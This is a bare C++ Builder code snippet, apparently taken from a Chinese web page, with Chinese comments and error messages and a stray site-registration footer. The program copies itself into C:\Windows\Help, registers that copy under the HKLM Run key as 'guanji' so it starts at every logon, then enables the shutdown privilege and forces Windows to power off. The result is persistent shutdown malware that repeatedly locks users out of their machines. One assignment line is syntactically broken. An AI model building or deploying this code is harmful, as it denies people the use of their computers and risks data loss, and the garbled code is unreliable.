char * a;
a= (ExtractFileDir(Application->ExeName)+"\\project1.exe ")str();
a= (Application->ExeName).c_str();
CopyFile((Application->ExeName).c_str(), "C:\\Windows\\Help\\Project1.exe",true);
TRegistry *Key;
Key=new TRegistry;
Key->RootKey=HKEY_LOCAL_MACHINE;
Key->OpenKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",false); //操作启动项目
Key->WriteString("guanji","C:\\Windows\\Help\\Project1.exe"); //写入名称与数据
Key->CloseKey();
delete Key;
HANDLE hToken;
TOKEN_PRIVILEGES TP;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken))
{
MessageBox(this->Handle,"您没有关机的权限!","错误",MB_OK+MB_ICONERROR);
return;
}
LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&TP.Privileges[0].Luid);
TP.PrivilegeCount = 1;
TP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,false,&TP,sizeof(TP),NULL,0);
if(GetLastError() != ERROR_SUCCESS)
{
MessageBox(this->Handle,"调整权限失败!","错误",MB_OK+MB_ICONERROR);
return;
}
if (!ExitWindowsEx(EWX_SHUTDOWN, EWX_FORCE))
{
MessageBox(this->Handle,"关机失败!","错误",MB_OK+MB_ICONERROR);
return;
}
浙公网安备 33010602011771号